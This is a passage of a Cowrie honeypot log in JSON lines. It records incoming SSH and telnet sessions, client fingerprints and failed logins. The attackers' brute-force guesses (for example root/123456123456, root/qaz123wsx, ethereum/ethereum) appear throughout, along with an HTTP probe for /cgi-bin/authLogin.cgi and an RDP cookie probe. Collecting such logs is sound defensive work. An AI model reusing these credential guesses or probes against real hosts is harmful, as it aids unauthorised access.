es128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:31.326085Z","src_ip":"109.237.96.109","session":"6bd4115996ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456123456","message":"login attempt [root/123456123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:31.595379Z","src_ip":"109.237.96.109","session":"6bd4115996ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:32.689443Z","src_ip":"109.237.96.109","session":"6bd4115996ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40532,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3cd2043f533","protocol":"telnet","message":"New connection: 192.119.13.58:40532 (10.17.0.5:23) [session: f3cd2043f533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:29:44.035386Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53844,"dst_ip":"159.203.135.109","dst_port":22,"session":"b05b13add7ad","protocol":"ssh","message":"New connection: 80.94.92.186:53844 (159.203.135.109:22) [session: b05b13add7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:20.887304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:21.194248Z","src_ip":"80.94.92.186","session":"b05b13add7ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:21.198500Z","src_ip":"80.94.92.186","session":"b05b13add7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.50683069229126,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:21.542074Z","src_ip":"192.119.13.58","session":"f3cd2043f533","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:22.660019Z","src_ip":"80.94.92.186","session":"b05b13add7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:23.972102Z","src_ip":"80.94.92.186","session":"b05b13add7ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":55214,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa7364842b15","protocol":"ssh","message":"New connection: 103.27.238.120:55214 (10.17.0.5:22) [session: aa7364842b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:26.707673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:26.713783Z","src_ip":"103.27.238.120","session":"aa7364842b15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:26.992598Z","src_ip":"103.27.238.120","session":"aa7364842b15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"melissa","message":"login attempt [root/melissa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:27.820040Z","src_ip":"103.27.238.120","session":"aa7364842b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:30:29.098655Z","src_ip":"103.27.238.120","session":"aa7364842b15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.63.131","src_port":28174,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef45958cc723","protocol":"telnet","message":"New connection: 206.189.63.131:28174 (10.17.0.5:23) [session: ef45958cc723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:21.300233Z"}
{"eventid":"cowrie.login.failed","username":"GET /cgi-bin/authLogin.cgi HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /cgi-bin/authLogin.cgi HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:21.305110Z","src_ip":"206.189.63.131","session":"ef45958cc723","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:21.308712Z","src_ip":"206.189.63.131","session":"ef45958cc723","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09550142288208008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:21.395600Z","src_ip":"206.189.63.131","session":"ef45958cc723","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":12462,"dst_ip":"159.203.135.109","dst_port":22,"session":"b603ac7f4b1e","protocol":"ssh","message":"New connection: 94.26.106.201:12462 (159.203.135.109:22) [session: b603ac7f4b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:21.480827Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:21.485135Z","src_ip":"94.26.106.201","session":"b603ac7f4b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":12466,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7a373ef24e7","protocol":"ssh","message":"New connection: 94.26.106.201:12466 (159.203.135.109:22) [session: a7a373ef24e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:21.594237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:21.599283Z","src_ip":"94.26.106.201","session":"a7a373ef24e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:21.688096Z","src_ip":"94.26.106.201","session":"a7a373ef24e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"anton","message":"login attempt [admin/anton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:21.867959Z","src_ip":"94.26.106.201","session":"a7a373ef24e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:22.959283Z","src_ip":"94.26.106.201","session":"a7a373ef24e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54287,"dst_ip":"159.203.135.109","dst_port":22,"session":"17e055ae6849","protocol":"ssh","message":"New connection: 167.172.81.52:54287 (159.203.135.109:22) [session: 17e055ae6849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:26.170346Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:26.174921Z","src_ip":"167.172.81.52","session":"17e055ae6849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:26.178852Z","src_ip":"167.172.81.52","session":"17e055ae6849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":45894,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7466dda3541","protocol":"ssh","message":"New connection: 147.45.199.80:45894 (159.203.135.109:22) [session: e7466dda3541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:42.085757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:42.090785Z","src_ip":"147.45.199.80","session":"e7466dda3541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:42.187417Z","src_ip":"147.45.199.80","session":"e7466dda3541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwo","message":"login attempt [root/passwo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:42.475299Z","src_ip":"147.45.199.80","session":"e7466dda3541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:31:43.574892Z","src_ip":"147.45.199.80","session":"e7466dda3541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":33770,"dst_ip":"159.203.135.109","dst_port":22,"session":"c16a868b0012","protocol":"ssh","message":"New connection: 103.122.221.179:33770 (159.203.135.109:22) [session: c16a868b0012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:32:21.492588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:32:21.497331Z","src_ip":"103.122.221.179","session":"c16a868b0012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:32:21.754731Z","src_ip":"103.122.221.179","session":"c16a868b0012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p","message":"login attempt [root/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:32:22.526646Z","src_ip":"103.122.221.179","session":"c16a868b0012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:32:23.788093Z","src_ip":"103.122.221.179","session":"c16a868b0012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38128,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6d2f9e96aaa","protocol":"ssh","message":"New connection: 103.153.68.219:38128 (159.203.135.109:22) [session: d6d2f9e96aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:32:59.345016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:32:59.353307Z","src_ip":"103.153.68.219","session":"d6d2f9e96aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:32:59.602862Z","src_ip":"103.153.68.219","session":"d6d2f9e96aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123wsx","message":"login attempt [root/qaz123wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:33:00.352629Z","src_ip":"103.153.68.219","session":"d6d2f9e96aaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":34762,"dst_ip":"159.203.135.109","dst_port":22,"session":"907edfada9c2","protocol":"ssh","message":"New connection: 176.65.148.108:34762 (159.203.135.109:22) [session: 907edfada9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:33:00.474989Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:33:00.561503Z","src_ip":"176.65.148.108","session":"907edfada9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":34778,"dst_ip":"159.203.135.109","dst_port":22,"session":"08f441ba6d23","protocol":"ssh","message":"New connection: 176.65.148.108:34778 (159.203.135.109:22) [session: 08f441ba6d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:33:00.640195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:33:00.648598Z","src_ip":"176.65.148.108","session":"08f441ba6d23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:33:00.732234Z","src_ip":"176.65.148.108","session":"08f441ba6d23","protocol":"ssh"}
